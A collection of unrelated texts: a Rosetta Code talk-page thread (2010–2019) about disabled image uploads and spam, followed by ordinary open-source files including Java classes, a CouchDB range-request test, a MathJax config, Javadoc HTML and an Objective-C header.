eye on disk and bandwidth usage. If it becomes a problem, I'll kick, curse, swear, and then finally put up a donate link. :) --[[User:Short Circuit|Michael Mol]] 19:32, 17 May 2010 (UTC) :::: Piet being a graphical programming language, I would expect that it requires lossless image file formats. I recommend trying both GIF and PNG+pngcrush, and uploading whichever file winds up being smaller. --[[User:Short Circuit|Michael Mol]] 19:35, 17 May 2010 (UTC) ::::: I haven't done anything yet, but yes, PNG + pngout (via Irfanview) is what I have in mind. -- [[User:Eriksiers|Erik Siers]] 19:42, 17 May 2010 (UTC) ::::: While we're at it. Ideas for a naming convention? For the first task I did in Piet (so far the only one – [[:File:Piet A+B.png]]) I used ''Piet «task name»''. If that needs work, it can surely be renamed. Better ideas maybe? —[[User:Hypftier|Johannes Rössel]] 20:21, 17 May 2010 (UTC) A new day - a new start. Is uploading an image file still disabled? If not, how does one go about doint this?? ~~---- : +1. For example, I would prefer to replace the HTML+CSS+Unicode-art diagrams on [[Brace_expansion]] with images, because in their current form they don't render quite as they should on all browsers and platforms. --[[User:Smls|Smls]] ([[User talk:Smls|talk]]) 12:20, 4 July 2014 (UTC) ==Broken with Safari== Does anyone have any idea why upload of images doesn't work with Safari? I create an image (e.g., a GIF or PNG) and try to upload it, but I get a red error message saying that only a few formats are supported, ''including GIF and PNG''. That's bizarre! It works if I use Firefox. (Yes, I'm logged in in both cases.) To me, it smells like a bug… –[[User:Dkf|Donal Fellows]] 13:35, 29 November 2011 (UTC) : And reading Mike's talk page, it appears to be related to Javascript. Thank goodness for NoScript, which makes it all work at all… –[[User:Dkf|Donal Fellows]] 13:49, 29 November 2011 (UTC) ::People have reported the same problem across multiple browsers. I've had it myself on Firefox and IE. I found a [http://irclog.perlgeek.de/rosettacode/2011-07-06#i_4069398 really weird workaround]. We're hoping that a MediaWiki update can fix it. --[[User:Mwn3d|Mwn3d]] 13:52, 29 November 2011 (UTC) : I disabled AJAX uploads serverside, but you may still need to disable it in your user profile settings. --[[User:Short Circuit|Michael Mol]] 15:12, 29 November 2011 (UTC) ::I can't find any options in my preferences related to image uploads. Which option are you talking about? --[[User:Mwn3d|Mwn3d]] 15:28, 29 November 2011 (UTC) ::: Hm. I can't find it, either. It may be hidden because I've disabled the feature serverside, or it may not be there at all. Grr. I *really* need to step on that MW update. --[[User:Short Circuit|Michael Mol]] 17:10, 29 November 2011 (UTC) Looks like uploads have been broken since May 2013. Bummer! --[[User:Loren|Loren]] ([[User talk:Loren|talk]]) 04:01, 24 September 2013 (UTC) ---- --[[User:Loren|Loren]] ([[User talk:Loren|talk]]) 04:01, 24 September 2013 (UTC) :They are not so much broken as disabled on purpose, see [[Special:Upload]]. A spam issue, probably... --[[User:Morn|Morn]] ([[User talk:Morn|talk]]) 12:50, 3 October 2013 (UTC) ::That excludes the possibility to contribute with tasks made in any graphical language, e.g. Scratch, VEE, LabVIEW etc. Thats a pitty 'cause for example Labview has a feature called snippets where code can be saved in a .png image. And if you drag this image into Labview, it inserts the code, not the image. --[[User:MaViMi|MaViMi]] ([[User talk:MaViMi|talk]]) 19:09, 13 February 2015 (UTC) == Trusted users == Would it be possible to give certain users a "trusted" status so that they can upload images (and perhaps also post external links, make new pages without having to negotiate an almost unreadable CAPTCHA), after they have made a certain number of serious contributions over a certain amount of time? [[User:Fwend|Fwend]] ([[User talk:Fwend|talk]]) 13:20, 22 April 2015 (UTC) : I wholeheartedly endorse that idea! CAPTCHA is a royal pain in the neckhole and for most phrase presentations, it is truly almost unreadable and it just causes multiple attempts, followed by more attempts to find a phrase that can be decyphered/readable. -- [[User:Gerard Schildberger|Gerard Schildberger]] ([[User talk:Gerard Schildberger|talk]]) 00:40, 2 May 2015 (UTC) :I don't like CAPTCHAs but I hate the spammers and wouldn't like to make it too easy for them. --[[User:Paddy3118|Paddy3118]] ([[User talk:Paddy3118|talk]]) 05:37, 2 May 2015 (UTC) :: I was thinking along the lines of bypassing CAPTCHAs for ''trusted'' Rosetta Code users, and of course, the keyword would be ''trusted'' users. Since spammers do what spammers do, but the people who need to upload images and create links (legitimately), could trusted RC users could be defined as those users who have entered (say) a half-dozen entries (or some defined quota). I wouldn't object to even a score or thereabouts. Like ya said, don't make it too easy for spammers. I don't envision spammers taking the time (or the effort) to enter ... well, entries (as in computer programs). -- [[User:Gerard Schildberger|Gerard Schildberger]] ([[User talk:Gerard Schildberger|talk]]) 06:01, 2 May 2015 (UTC) == This is still a problem (June 2015) == There is much discussion above. What do contributors who need to upload an image do today? [[Special:Upload]] says "File uploads are disabled." I would like to add some [[Blockly]] entries, which are fundamentally graphical. --[[User:Chkno|Chkno]] ([[User talk:Chkno|talk]]) 23:07, 19 June 2015 (UTC) :I am working on Piet examples for this site, but I see that I cannot upload any images. Even larger programs would not need that much space, especially if one uses compressed PNG files. And I am not talking about huge Piet programs like “Pietquest” that wastes a lot of image space due to the structure of the compiler it was created with. What do I do now? Is there any possibility to upload pictures? :Just as an example: The Piet program for the Integer Sequence task [Rosettacode link:http://rosettacode.org/wiki/Integer_sequence] needs only 180 bytes at a codel size of 20. The image itself is only 140x60 pixels (7x3 codels) large. You can have a look at it here: [Image:https://copy.com/TQuwy3dwBRl7nEOL] (--[[User:Albedo|Albedo]] ([[User talk:Albedo|talk]]) 21:58, 26 June 2015 (UTC) :: Small images can be rendered as a wiki table. This is not ideal, since actual image formats are more compact. However, it works around the current restrictions (which we can thank our friendly neighborhood spammers for). For an example of an image rendered this way, see [[Mandelbrot_set/J/Output]]. --[[User:Rdm|Rdm]] ([[User talk:Rdm|talk]]) 22:06, 7 July 2015 (UTC) :::Thank you, Rdm. It’s certainly feasible for small images, although manual editing is a bit tedious, even for this example(binary digits): [[http://rosettacode.org/wiki/Binary_digits#.7B.7Bheader.7CPiet.7D.7D]] --[[User:Albedo|Albedo]] ([[User talk:Albedo|talk]]) 15:42, 10 July 2015 (UTC) :::: Yeah, if you were doing a lot of them, I'd suggest starting with a [[Bitmap]] implementation and then whatever other support you want from [[Raster_graphics_operations]] so you can read an image file. Once you have that, you could use imagemagick to convert to your supported file format. Then build a wiki-table renderer and use that for your Piet code. And I guess some of us should also start using one of the [http://www.dangermouse.net/esoteric/piet/tools.html piet interpreters] so we can see your code in action ... --[[User:Rdm|Rdm]] ([[User talk:Rdm|talk]]) 01:47, 11 July 2015 (UTC) ::::: I‘m writing my own Piet interpreter in Julia, especially for debugging more complicated code. And I use npiet to check if my code works. The PietDev on Rapaping.com does not work according to specification because it does not use integer division, but every division operation produces a floating point value. Nevertheless it’s useful for creating smaller examples and stack inspection. ::::: I guess it’s time for me to write a PNG to wikitable translator of sorts. --[[User:Albedo|Albedo]] ([[User talk:Albedo|talk]]) 15:31, 11 July 2015 (UTC) :::::: Done. I wrote a little Julia function that converts PNG files with codel size 1 to wikitables. The code is on my user page. --[[User:Albedo|Albedo]] ([[User talk:Albedo|talk]]) 02:06, 12 July 2015 (UTC) == This is still a problem (June - July 2016) == Uploading images doesn't work for me at all.[[User:NNcNannara|NNcNannara]] ([[User talk:NNcNannara|talk]]) 12:23, 18 July 2016 (UTC) :I went to [http://rosettacode.org/wiki/Special:ListFiles File list] and discovered that all file uploads are blocked since 6/2/2016, even admins have no uploads. Is it sort of technical glitch? Or result of fighting spam too hard?? I'm planning 3 new tasks with 7 pictures. Without picture uploads it is useless. Now this is an old Q (late June): Another interesting issue: Why nobody complains? --AnatolV 19:34, 21 July 2016 (UTC) == This is still a problem (August 15, 2016) == Sure not working here. [[User:KenS|KenS]] Upload complains that the image is not the proper mime type, but it is. Neither jpg or png are accepted. Sure would like to add some images to my code -- it really helps the reader understand what the output should be. --[[User:KenS|KenS]] ([[User talk:Kens|talk]]) 02:06, 15 August 2016 (UTC) == This is still a problem (July 2017) == '''@NNcNannara, KenS''': U r so naive guys... I've complaint about fake massages many years ago! See [[User_talk:Short_Circuit|M. Mol page]]. LOL Also, find there fake explanations and fake promises (this January). --AnatolV 19:38, 22 July 2017 (UTC) == This is still a problem (December 2018) == '''@M. Mol''': Send me email please. I have a realistic suggestion: how to find a big sponsor helping to upgrade RC servers. It helped my friend to upgrade dying website. --AnatolV 19:38, 22 July 2017 (UTC) == Can't upload an image (July 2019) == I'm trying to upload my output for the "Munching Squares" task. The file is called xor_pattern_miniscript.png, 41 KB in size, but when I try to upload it I get errors like this: ```txt Upload warning Could not read or write file "mwstore://local-backend/local-public/5/5b/Xor_pattern_miniscript.png" due to insufficient permissions or missing directories/containers. Could not store file "/tmp/phpK6HWOb" at "mwstore://local-backend/local-public/5/5b/Xor_pattern_miniscript.png". Could not delete lock file for "mwstore://local-backend/local-public/archive/5/5b". Could not delete lock file for "mwstore://local-backend/local-public/5/5b". Could not delete lock file for "mwstore://local-backend/local-public/archive/5/5b/20190612175726!Xor_pattern_miniscript.png". ``` I'm not sure if this is the same problem discussed above, or something new. Any idea how I can upload my image? Or, should I just link to an image uploaded elsewhere? --[[User:JoeStrout|JoeStrout]] ([[User talk:JoeStrout|talk]]) 18:01, 12 June 2019 (UTC)
{ "pile_set_name": "Github" }
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ // Do not edit this file. It is machine generated. { "attribute.path.not.exist": "'{0}' özniteliği yok ('{1}')." }
{ "pile_set_name": "Github" }
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- VERSION = "1.0.0"
{ "pile_set_name": "Github" }
/* * Copyright 2015 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.statemachine.config.common.annotation; import java.util.concurrent.atomic.AtomicBoolean; /** * A base {@link AnnotationBuilder} that ensures the object being built is only * built one time. * * @author Rob Winch * @author Janne Valkealahti * * @param <O> the type of Object that is being built */ public abstract class AbstractAnnotationBuilder<O> implements AnnotationBuilder<O> { /** Flag tracking build */ private AtomicBoolean building = new AtomicBoolean(); /** Built object is stored here */ private O object; @Override public final O build() throws Exception { if(building.compareAndSet(false, true)) { object = doBuild(); return object; } throw new IllegalStateException("This object has already been built"); } /** * Gets the object that was built. If it has not been built yet an Exception * is thrown. * * @return the Object that was built */ public final O getObject() { if(!building.get()) { throw new IllegalStateException("This object has not been built"); } return object; } /** * Subclasses should implement this to perform the build. * * @return the object that should be returned by {@link #build()}. * @throws Exception if an error occurs */ protected abstract O doBuild() throws Exception; }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (11.0.2) on Thu Jun 20 14:10:16 EDT 2019 --> <title>Uses of Package oracle.kubernetes.operator.http (weblogic-kubernetes-operator 2.2.1 API)</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="dc.created" content="2019-06-20"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../../../../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> <script type="text/javascript" src="../../../../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../../../../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../../../../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif]--> <script type="text/javascript" src="../../../../jquery/jquery-3.3.1.js"></script> <script type="text/javascript" src="../../../../jquery/jquery-migrate-3.0.1.js"></script> <script type="text/javascript" src="../../../../jquery/jquery-ui.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Package oracle.kubernetes.operator.http (weblogic-kubernetes-operator 2.2.1 API)"; } } catch(err) { } //--> var pathtoroot = "../../../../"; var useModuleDirectories = true; loadScripts(document, 'script');</script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <header role="banner"> <nav role="navigation"> <div class="fixedNav"> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a id="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../index.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li>Class</li> <li class="navBarCell1Rev">Use</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses.html">All&nbsp;Classes</a></li> </ul> <ul class="navListSearch"> <li><label for="search">SEARCH:</label> <input type="text" id="search" value="search" disabled="disabled"> <input type="reset" id="reset" value="reset" disabled="disabled"> </li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <a id="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> </div> <div class="navPadding">&nbsp;</div> <script type="text/javascript"><!-- $('.navPadding').css('padding-top', $('.fixedNav').css("height")); //--> </script> </nav> </header> <main role="main"> <div class="header"> <h1 title="Uses of Package oracle.kubernetes.operator.http" class="title">Uses of Package<br>oracle.kubernetes.operator.http</h1> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="useSummary"> <caption><span>Packages that use <a href="package-summary.html">oracle.kubernetes.operator.http</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Package</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <th class="colFirst" scope="row"><a href="#oracle.kubernetes.operator.http">oracle.kubernetes.operator.http</a></th> <td class="colLast"> <div class="block">An HTTP client that is used when making REST calls to WebLogic Administration Servers.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a id="oracle.kubernetes.operator.http"> <!-- --> </a> <table class="useSummary"> <caption><span>Classes in <a href="package-summary.html">oracle.kubernetes.operator.http</a> used by <a href="package-summary.html">oracle.kubernetes.operator.http</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Class</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <th class="colFirst" scope="row"><a href="class-use/HttpClient.html#oracle.kubernetes.operator.http">HttpClient</a></th> <td class="colLast"> <div class="block">HTTP Client.</div> </td> </tr> <tr class="rowColor"> <th class="colFirst" scope="row"><a href="class-use/HTTPException.html#oracle.kubernetes.operator.http">HTTPException</a></th> <td class="colLast"> <div class="block">Exception when a HTTP status code is received that indicates the request was not successful.</div> </td> </tr> <tr class="altColor"> <th class="colFirst" scope="row"><a href="class-use/Result.html#oracle.kubernetes.operator.http">Result</a></th> <td class="colLast"> <div class="block">Holder of response received from REST requests invoked using methods in <a href="HttpClient.html" title="class in oracle.kubernetes.operator.http"><code>HttpClient</code></a> class.</div> </td> </tr> </tbody> </table> </li> </ul> </div> </main> <footer role="contentinfo"> <nav role="navigation"> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a id="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../index.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li>Class</li> <li class="navBarCell1Rev">Use</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <a id="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </nav> <p class="legalCopy"><small>Copyright &#169; 2017&#x2013;2019. All rights reserved.</small></p> </footer> </body> </html>
{ "pile_set_name": "Github" }
/* Copyright 2014 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package record has all client logic for recording and reporting events. package record // import "k8s.io/client-go/tools/record"
{ "pile_set_name": "Github" }
// Licensed under the Apache License, Version 2.0 (the "License"); you may not // use this file except in compliance with the License. You may obtain a copy of // the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations under // the License. couchTests.attachment_ranges = function(debug) { var db = new CouchDB("test_suite_db", { "X-Couch-Full-Commit": "false" }); db.deleteDb(); db.createDb(); if (debug) debugger; var binAttDoc = { _id: "bin_doc", _attachments: { "foo.txt": { content_type: "application/octet-stream", data: "VGhpcyBpcyBhIGJhc2U2NCBlbmNvZGVkIHRleHQ=" } } }; var save_response = db.save(binAttDoc); T(save_response.ok); // Fetching the whole entity is a 206. var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=0-28" } }); TEquals(206, xhr.status, "fetch 0-28"); TEquals("This is a base64 encoded text", xhr.responseText); TEquals("bytes 0-28/29", xhr.getResponseHeader("Content-Range")); TEquals("29", xhr.getResponseHeader("Content-Length")); // Fetch the whole entity without an end offset is a 206. var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=0-" } }); TEquals(206, xhr.status, "fetch 0-"); TEquals("This is a base64 encoded text", xhr.responseText); TEquals("bytes 0-28/29", xhr.getResponseHeader("Content-Range")); TEquals("29", xhr.getResponseHeader("Content-Length")); // Badly formed range header is a 200. var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes:0-" } }); TEquals(200, xhr.status, "fetch with bad range header"); // Fetch the end of an entity without an end offset is a 206. var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=2-" } }); TEquals(206, xhr.status, "fetch 2-"); TEquals("is is a base64 encoded text", xhr.responseText); TEquals("bytes 2-28/29", xhr.getResponseHeader("Content-Range")); TEquals("27", xhr.getResponseHeader("Content-Length")); // Fetch past the end of the entity is a 206 var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=0-29" } }); TEquals(206, xhr.status, "fetch 0-29"); TEquals("bytes 0-28/29", xhr.getResponseHeader("Content-Range")); TEquals("29", xhr.getResponseHeader("Content-Length")); // Fetch first part of entity is a 206 var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=0-3" } }); TEquals(206, xhr.status, "fetch 0-3"); TEquals("This", xhr.responseText); TEquals("4", xhr.getResponseHeader("Content-Length")); TEquals("bytes 0-3/29", xhr.getResponseHeader("Content-Range")); // Fetch middle of entity is also a 206 var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=10-15" } }); TEquals(206, xhr.status, "fetch 10-15"); TEquals("base64", xhr.responseText); TEquals("6", xhr.getResponseHeader("Content-Length")); TEquals("bytes 10-15/29", xhr.getResponseHeader("Content-Range")); // Fetch end of entity is also a 206 var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=-3" } }); TEquals(206, xhr.status, "fetch -3"); TEquals("ext", xhr.responseText); TEquals("3", xhr.getResponseHeader("Content-Length")); TEquals("bytes 26-28/29", xhr.getResponseHeader("Content-Range")); // backward range is 416 var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=5-3" } }); TEquals(416, xhr.status, "fetch 5-3"); // range completely outside of entity is 416 var xhr = CouchDB.request("GET", "/test_suite_db/bin_doc/foo.txt", { headers: { "Range": "bytes=300-310" } }); TEquals(416, xhr.status, "fetch 300-310"); };
{ "pile_set_name": "Github" }
/* * /MathJax/jax/input/MathML/config.js * * Copyright (c) 2009-2015 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"2.6.1",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> #import <CallHistory/NSCopying-Protocol.h> #import <CallHistory/NSSecureCoding-Protocol.h> @class NSString; @interface CHHandle : NSObject <NSSecureCoding, NSCopying> { long long _type; NSString *_value; NSString *_normalizedValue; } + (long long)handleTypeForValue:(id)arg1; + (id)normalizedPhoneNumberHandleForValue:(id)arg1 isoCountryCode:(id)arg2; + (id)normalizedGenericHandleForValue:(id)arg1; + (id)normalizedEmailAddressHandleForValue:(id)arg1; + (BOOL)supportsSecureCoding; - (void).cxx_destruct; @property(readonly, copy, nonatomic) NSString *normalizedValue; // @synthesize normalizedValue=_normalizedValue; @property(readonly, copy, nonatomic) NSString *value; // @synthesize value=_value; @property(readonly, nonatomic) long long type; // @synthesize type=_type; - (BOOL)isEqualToHandle:(id)arg1; - (BOOL)isEqual:(id)arg1; - (unsigned long long)hash; - (id)description; - (id)initWithCoder:(id)arg1; - (void)encodeWithCoder:(id)arg1; - (id)copyWithZone:(struct _NSZone *)arg1; - (id)initWithType:(long long)arg1 value:(id)arg2 normalizedValue:(id)arg3; - (id)initWithType:(long long)arg1 value:(id)arg2; - (id)initWithHandle:(id)arg1; - (id)init; @end
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.dubbo.metadata.rest; import java.lang.reflect.Method; import java.util.Set; /** * The default implementation {@link ServiceRestMetadataResolver} * * @since 2.7.6 */ public class DefaultServiceRestMetadataResolver extends AbstractServiceRestMetadataResolver { @Override protected boolean supports0(Class<?> serviceType) { return false; } @Override protected boolean isRestCapableMethod(Method serviceMethod, Class<?> serviceType, Class<?> serviceInterfaceClass) { return false; } @Override protected String resolveRequestMethod(Method serviceMethod, Class<?> serviceType, Class<?> serviceInterfaceClass) { return null; } @Override protected String resolveRequestPath(Method serviceMethod, Class<?> serviceType, Class<?> serviceInterfaceClass) { return null; } @Override protected void processProduces(Method serviceMethod, Class<?> serviceType, Class<?> serviceInterfaceClass, Set<String> produces) { } @Override protected void processConsumes(Method serviceMethod, Class<?> serviceType, Class<?> serviceInterfaceClass, Set<String> consumes) { } }
{ "pile_set_name": "Github" }
/** * Copyright 2007-2016, Kaazing Corporation. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.kaazing.gateway.server.topic; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicBoolean; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.RuleChain; import org.kaazing.gateway.server.context.resolve.StandaloneClusterContext; import org.kaazing.gateway.service.collections.CollectionsFactory; import org.kaazing.test.util.ITUtil; import com.hazelcast.core.ITopic; import com.hazelcast.core.MessageListener; // TODO Add a parent abstract class that defines test cases for both cluster and single node. public class StandaloneClusterTopicTest extends AbstractClusterTopicTest { private static final StandaloneClusterContext STANDALONE_CLUESTER_CONTEXT = new StandaloneClusterContext(); private CollectionsFactory factory; @Rule public RuleChain chain = ITUtil.createRuleChain(10, TimeUnit.SECONDS); @Before public void setUp() throws Exception { factory = STANDALONE_CLUESTER_CONTEXT.getCollectionsFactory(); } @Test public void shouldRejectAddAndRemoveFromMessageListenerSameThread() throws InterruptedException { ITopic<String> topic = factory.getTopic("topic_reject_add_remove_from_listener_same_thread"); CountDownLatch listenersCalled = new CountDownLatch(1); MessageListener<String> m1 = message -> listenersCalled.countDown(); String name = topic.addMessageListener(m1); MessageListener<String> m2 = message -> { try { topic.removeMessageListener(name); // will throw UnsupportedOperationException } catch (UnsupportedOperationException e) { topic.addMessageListener(m -> {}); // will also throw UnsupportedOperationException } }; topic.addMessageListener(m2); topic.publish("msg1"); listenersCalled.await(); assertEquals(1, topic.getLocalTopicStats().getPublishOperationCount()); assertEquals(2, topic.getLocalTopicStats().getReceiveOperationCount()); assertTrue(topic.removeMessageListener(name)); topic.destroy(); } @Test public void shouldNotAllowNestedPublish() throws InterruptedException { ITopic<String> topic = factory.getTopic("topic_nested_publish_same_thread"); CountDownLatch listenerCalled = new CountDownLatch(1); topic.addMessageListener(message -> { try { topic.publish("Resend: " + message.getMessageObject()); } catch (UnsupportedOperationException e) { listenerCalled.countDown(); } }); topic.publish("KickOff"); listenerCalled.await(); assertEquals(1, topic.getLocalTopicStats().getPublishOperationCount()); assertEquals(1, topic.getLocalTopicStats().getReceiveOperationCount()); topic.destroy(); } @Override protected ITopic<String> getTopicForShouldCallMessageListenersOnTwoThreads() { return factory.getTopic("topic_two_threads"); } @Override protected ITopic<String> getTopicMember1ForShouldNotifyListenersIfOneThrowsException() { return factory.getTopic("topic_message_listener_null_pointer"); } @Override protected ITopic<String> getTopicMember2ForShouldNotifyListenersIfOneThrowsException() { return factory.getTopic("topic_message_listener_null_pointer"); } @Override protected ITopic<String> getTopicMember1ForShouldCallMultipleTimesMessageListener() { return factory.getTopic("topic_multiple_times_same_listener"); } @Override protected ITopic<String> getTopicMember2ForShouldCallMultipleTimesMessageListener() { return factory.getTopic("topic_multiple_times_same_listener"); } @Override protected ITopic<String> getTopicMember1ForShouldAddAndRemoveMessageListener() { return factory.getTopic("topic_add_remove_listener"); } @Override protected ITopic<String> getTopicMember2ForShouldAddAndRemoveMessageListener() { return factory.getTopic("topic_add_remove_listener"); } @Override protected ITopic<String> getTopicMember1ForShouldAllowAddAndRemoveFromMessageListenerDifferentThread() { return factory.getTopic("topic_allow_add_remove_from_listener_different_thread"); } @Override protected ITopic<String> getTopicMember2ForShouldAllowAddAndRemoveFromMessageListenerDifferentThread() { return factory.getTopic("topic_allow_add_remove_from_listener_different_thread"); } @Override protected ITopic<String> getTopicMember1ForShouldPubSubFromMessageListeners() { return factory.getTopic("topic_pub_sub_msg_listeners_1"); } @Override protected ITopic<String> getTopicMember2ForShouldPubSubFromMessageListeners() { return factory.getTopic("topic_pub_sub_msg_listeners_2"); } @Override protected ITopic<String> getTopicMember1ForShouldNotDeadlockNestedPublishOnDifferentThread() { return factory.getTopic("topic_nested_publish_different_thread_one_member"); } @Override protected ITopic<String> getTopicMember1ForShouldNotAddNullMessageListener() { return factory.getTopic("topic_null_message_listener"); } @Override protected ITopic<String> getTopicMember1ForShouldDetectClassIncompatibility() { return factory.getTopic("topic_class_cast"); } @Override protected ITopic<Integer> getTopicMember2ForShouldDetectClassIncompatibility() { return factory.getTopic("topic_class_cast"); } }
{ "pile_set_name": "Github" }
